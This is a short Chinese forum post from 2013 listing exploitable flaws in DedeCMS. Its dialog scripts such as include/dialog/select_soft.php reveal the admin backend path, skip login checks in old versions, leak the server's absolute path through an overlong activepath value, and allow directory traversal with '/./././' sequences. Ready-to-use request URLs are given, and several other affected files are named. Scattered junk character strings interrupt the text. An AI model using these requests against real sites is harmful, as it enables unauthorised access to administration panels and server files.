1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理8 ^/ f+ Y0 L# o. z
0 L+ F+ s! \8 b, F& ]/ n
员帐号,新版本的就直接转向了后台.
1 `) b, z* e' E$ E7 i- f3 d7 u7 w5 r
2.include/dialog/config.php会爆出后台管理路径. v0 u" {6 j9 d4 g
6 U! U6 a! n- V* V0 ]. q, D3 y3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录; w; I5 b( J9 z! d+ _
9 A; d% }8 o! A- {4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.' M q8 K8 o; Q! H- S! M; M
& K# E' B, G. ~' L$ n, t5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
0 \& q8 p4 p6 v% z
, F2 q C y0 I到根目录去.不过这些版本的访问地址有些不同.! W1 F* w7 o. _5 y, R) r
地址为require/dialog/select_soft.php?activepath=/././././././././
, d: _0 j8 N7 l. \. ^9 i6 ^- R% U. U
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
# s" ~) _. [, o! A3 c" [. |存在相同问题的文件还有% d- t! O; F) b/ |# }# C% c+ L
include\dialog\select_images.php
9 J+ Y' {% w+ V1 W% A3 ]0 b; x0 ginclude\dialog\select_media.php
+ Y9 W% N5 @- m o$ O/ Iinclude\dialog\select_templets.php
9 T D8 |3 P8 I; J% \0 g/ R |
发表于 2013-4-16 16:50:43
收藏
支持
反对